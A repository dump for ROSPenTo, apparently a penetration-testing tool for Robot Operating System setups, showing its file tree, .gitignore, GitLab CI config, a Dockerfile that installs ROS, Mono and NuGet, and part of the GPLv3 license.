├── .gitignore ├── .gitlab-ci.yml ├── Dockerfile ├── LICENSE ├── README.md ├── RosPenTo.sln ├── RosPenTo ├── App.config ├── Communication.cs ├── IXmlRpcMasterClient.cs ├── IXmlRpcParameterClient.cs ├── IXmlRpcSlave.cs ├── IXmlRpcSlaveClient.cs ├── Network │ └── EndPointManager.cs ├── Node.cs ├── Parameter.cs ├── Properties │ └── AssemblyInfo.cs ├── Publisher.cs ├── RosPenTo.csproj ├── Service.cs ├── ServiceProvider.cs ├── Subscriber.cs ├── SystemAnalyzer.cs ├── Topic.cs ├── Uri.cs ├── XmlRpcFactory.cs ├── XmlRpcSlaveService.cs └── packages.config ├── RosPenToConsole ├── App.config ├── Options.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── RosPenToConsole.csproj └── packages.config ├── RosPenToTest ├── Properties │ └── AssemblyInfo.cs ├── RosPenToTest.csproj ├── SystemAnalyzerTest.cs ├── UriTest.cs ├── XmlRpcMasterMock.cs ├── XmlRpcParameterClientMock.cs ├── packages.config └── res │ └── PublisherHeaderMessage_safety_zone.txt ├── catkin_workspaces ├── attack_ws │ ├── .catkin_workspace │ └── src │ │ ├── CMakeLists.txt │ │ └── demo │ │ ├── CMakeLists.txt │ │ ├── package.xml │ │ └── src │ │ ├── MaliciousActionPublishers.cpp │ │ └── MaliciousPublisher.cpp └── target_ws │ ├── .catkin_workspace │ └── src │ ├── CMakeLists.txt │ └── demo │ ├── CMakeLists.txt │ ├── package.xml │ └── src │ ├── actionclient │ └── TargetActionClient.cpp │ ├── actionserver │ ├── TargetActionServer.cpp │ └── TargetActionServer.h │ ├── param │ ├── BatteryLevelMonitor.cpp │ └── BatteryLevelSimulator.cpp │ ├── publisher │ └── RegularPublisher.cpp │ ├── serviceclient │ └── CalibrationStateServiceClient.cpp │ ├── serviceserver │ └── CalibrationStateServiceServer.cpp │ └── subscriber │ ├── GoalCancel.cpp │ └── TargetSubscriber.cpp ├── launch_script.bash └── motd /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | [Ll]og/ 26 | 27 | # Visual Studio 2015 cache/options directory 28 | .vs/ 29 | # Uncomment if you have tasks that create the project's static files in wwwroot 30 | #wwwroot/ 31 | 32 | # MSTest test Results 33 | [Tt]est[Rr]esult*/ 34 | [Bb]uild[Ll]og.* 35 | 36 | # NUNIT 37 | *.VisualState.xml 38 | TestResult.xml 39 | 40 | # Build Results of an ATL Project 41 | [Dd]ebugPS/ 42 | [Rr]eleasePS/ 43 | dlldata.c 44 | 45 | # Benchmark Results 46 | BenchmarkDotNet.Artifacts/ 47 | 48 | # .NET Core 49 | project.lock.json 50 | project.fragment.lock.json 51 | artifacts/ 52 | **/Properties/launchSettings.json 53 | 54 | *_i.c 55 | *_p.c 56 | *_i.h 57 | *.ilk 58 | *.meta 59 | *.obj 60 | *.pch 61 | *.pdb 62 | *.pgc 63 | *.pgd 64 | *.rsp 65 | *.sbr 66 | *.tlb 67 | *.tli 68 | *.tlh 69 | *.tmp 70 | *.tmp_proj 71 | *.log 72 | *.vspscc 73 | *.vssscc 74 | .builds 75 | *.pidb 76 | *.svclog 77 | *.scc 78 | 79 | # Chutzpah Test files 80 | _Chutzpah* 81 | 82 | # Visual C++ cache files 83 | ipch/ 84 | *.aps 85 | *.ncb 86 | *.opendb 87 | *.opensdf 88 | *.sdf 89 | *.cachefile 90 | *.VC.db 91 | *.VC.VC.opendb 92 | 93 | # Visual Studio profiler 94 | *.psess 95 | *.vsp 96 | *.vspx 97 | *.sap 98 | 99 | # TFS 2012 Local Workspace 100 | $tf/ 101 | 102 | # Guidance Automation Toolkit 103 | *.gpState 104 | 105 | # ReSharper is a .NET coding add-in 106 | _ReSharper*/ 107 | *.[Rr]e[Ss]harper 108 | *.DotSettings.user 109 | 110 | # JustCode is a .NET coding add-in 111 | .JustCode 112 | 113 | # TeamCity is a build add-in 114 | _TeamCity* 115 | 116 | # DotCover is a Code Coverage Tool 117 | *.dotCover 118 | 119 | # Visual Studio code coverage results 120 | *.coverage 121 | *.coveragexml 122 | 123 | # NCrunch 124 | _NCrunch_* 125 | .*crunch*.local.xml 126 | nCrunchTemp_* 127 | 128 | # MightyMoose 129 | *.mm.* 130 | AutoTest.Net/ 131 | 132 | # Web workbench (sass) 133 | .sass-cache/ 134 | 135 | # Installshield output folder 136 | [Ee]xpress/ 137 | 138 | # DocProject is a documentation generator add-in 139 | DocProject/buildhelp/ 140 | DocProject/Help/*.HxT 141 | DocProject/Help/*.HxC 142 | DocProject/Help/*.hhc 143 | DocProject/Help/*.hhk 144 | DocProject/Help/*.hhp 145 | DocProject/Help/Html2 146 | DocProject/Help/html 147 | 148 | # Click-Once directory 149 | publish/ 150 | 151 | # Publish Web Output 152 | *.[Pp]ublish.xml 153 | *.azurePubxml 154 | # TODO: Comment the next line if you want to checkin your web deploy settings 155 | # but database connection strings (with potential passwords) will be unencrypted 156 | *.pubxml 157 | *.publishproj 158 | 159 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 160 | # checkin your Azure Web App publish settings, but sensitive information contained 161 | # in these scripts will be unencrypted 162 | PublishScripts/ 163 | 164 | # NuGet Packages 165 | *.nupkg 166 | # The packages folder can be ignored because of Package Restore 167 | **/packages/* 168 | # except build/, which is used as an MSBuild target. 169 | !**/packages/build/ 170 | # Uncomment if necessary however generally it will be regenerated when needed 171 | #!**/packages/repositories.config 172 | # NuGet v3's project.json files produces more ignorable files 173 | *.nuget.props 174 | *.nuget.targets 175 | 176 | # Microsoft Azure Build Output 177 | csx/ 178 | *.build.csdef 179 | 180 | # Microsoft Azure Emulator 181 | ecf/ 182 | rcf/ 183 | 184 | # Windows Store app package directories and files 185 | AppPackages/ 186 | BundleArtifacts/ 187 | Package.StoreAssociation.xml 188 | _pkginfo.txt 189 | *.appx 190 | 191 | # Visual Studio cache files 192 | # files ending in .cache can be ignored 193 | *.[Cc]ache 194 | # but keep track of directories ending in .cache 195 | !*.[Cc]ache/ 196 | 197 | # Others 198 | ClientBin/ 199 | ~$* 200 | *~ 201 | *.dbmdl 202 | *.dbproj.schemaview 203 | *.jfm 204 | *.pfx 205 | *.publishsettings 206 | orleans.codegen.cs 207 | 208 | # Since there are multiple workflows, uncomment next line to ignore bower_components 209 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 210 | #bower_components/ 211 | 212 | # RIA/Silverlight projects 213 | Generated_Code/ 214 | 215 | # Backup & report files from converting an old project file 216 | # to a newer Visual Studio version. Backup files are not needed, 217 | # because we have git ;-) 218 | _UpgradeReport_Files/ 219 | Backup*/ 220 | UpgradeLog*.XML 221 | UpgradeLog*.htm 222 | 223 | # SQL Server files 224 | *.mdf 225 | *.ldf 226 | *.ndf 227 | 228 | # Business Intelligence projects 229 | *.rdl.data 230 | *.bim.layout 231 | *.bim_*.settings 232 | 233 | # Microsoft Fakes 234 | FakesAssemblies/ 235 | 236 | # GhostDoc plugin setting file 237 | *.GhostDoc.xml 238 | 239 | # Node.js Tools for Visual Studio 240 | .ntvs_analysis.dat 241 | node_modules/ 242 | 243 | # Typescript v1 declaration files 244 | typings/ 245 | 246 | # Visual Studio 6 build log 247 | *.plg 248 | 249 | # Visual Studio 6 workspace options file 250 | *.opt 251 | 252 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 253 | *.vbw 254 | 255 | # Visual Studio LightSwitch build output 256 | **/*.HTMLClient/GeneratedArtifacts 257 | **/*.DesktopClient/GeneratedArtifacts 258 | **/*.DesktopClient/ModelManifest.xml 259 | **/*.Server/GeneratedArtifacts 260 | **/*.Server/ModelManifest.xml 261 | _Pvt_Extensions 262 | 263 | # Paket dependency manager 264 | .paket/paket.exe 265 | paket-files/ 266 | 267 | # FAKE - F# Make 268 | .fake/ 269 | 270 | # JetBrains Rider 271 | .idea/ 272 | *.sln.iml 273 | 274 | # CodeRush 275 | .cr/ 276 | 277 | # Python Tools for Visual Studio (PTVS) 278 | __pycache__/ 279 | *.pyc 280 | 281 | # Cake - Uncomment if you are using it 282 | # tools/** 283 | # !tools/packages.config 284 | 285 | # Tabs Studio 286 | *.tss 287 | 288 | # Telerik's JustMock configuration file 289 | *.jmconfig 290 | 291 | # BizTalk build output 292 | *.btp.cs 293 | *.btm.cs 294 | *.odx.cs 295 | *.xsd.cs 296 | 297 | # GIT orig files 298 | *.orig -------------------------------------------------------------------------------- /.gitlab-ci.yml: -------------------------------------------------------------------------------- 1 | before_script: 2 | - nuget restore 3 | 4 | stages: 5 | - build 6 | - test 7 | 8 | build_project: 9 | stage: build 10 | script: 11 | - echo "Building RosPenTo" 12 | - cd %CI_PROJECT_DIR%\RosPenTo 13 | - msbuild 14 | - echo "Building RosPenToConsole" 15 | - cd %CI_PROJECT_DIR%\RosPenToConsole 16 | - msbuild 17 | - echo "Building RosPenToTest" 18 | - cd %CI_PROJECT_DIR%\RosPenToTest 19 | - msbuild 20 | artifacts: 21 | untracked: true # pass all GIT untracked files between different jobs 22 | tags: 23 | - .net 24 | - windows 25 | 26 | test: 27 | stage: test 28 | script: 29 | - 'mstest /testcontainer:"%CI_PROJECT_DIR%\RosPenToTest\bin\Debug\RosPenToTest.dll"' 30 | dependencies: 31 | - build_project 32 | tags: 33 | - .net 34 | - windows -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ros:kinetic-ros-base-xenial 2 | 3 | MAINTAINER Víctor Mayoral Vilches 4 | 5 | RUN apt-get update && apt-get install -y \ 6 | ros-kinetic-robot=1.3.2-0* \ 7 | && rm -rf /var/lib/apt/lists/* 8 | 9 | # Install mono 10 | RUN apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF 11 | RUN apt-get update && apt-get install apt-transport-https 12 | RUN echo "deb https://download.mono-project.com/repo/ubuntu stable-xenial main" | tee /etc/apt/sources.list.d/mono-official-stable.list 13 | RUN apt-get update && apt-get -y install mono-devel 14 | # RUN certmgr -ssl -m https://go.microsoft.com 15 | # RUN certmgr -ssl -m https://nugetgallery.blob.core.windows.net 16 | # RUN certmgr -ssl -m https://nuget.org 17 | # RUN mozroots --import --sync 18 | 19 | # Install a few additional dependencies 20 | RUN apt-get install -y nuget 21 | 22 | # Install ROSPenTo 23 | COPY . /root/ROSPenTo 24 | RUN cd /root/ROSPenTo && nuget restore && msbuild 25 | 26 | #Copy SSH banner 27 | RUN rm -rf /etc/update-motd.d/* && rm -rf /etc/legal && \ 28 | sed -i 's/\#force_color_prompt=yes/force_color_prompt=yes/' /root/.bashrc 29 | COPY motd /etc/motd 30 | RUN echo "cat /etc/motd" >> /root/.bashrc 31 | # Create an alias for ROSPenTo and rospento 32 | RUN echo 'alias ROSPenTo="mono /root/ROSPenTo/RosPenToConsole/bin/Debug/RosPenToConsole.exe"' >> /root/.bashrc 33 | RUN echo 'alias rospento="mono /root/ROSPenTo/RosPenToConsole/bin/Debug/RosPenToConsole.exe"' >> /root/.bashrc 34 | 35 | COPY launch_script.bash /root/ 36 | ENTRYPOINT ["/root/launch_script.bash"] 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must 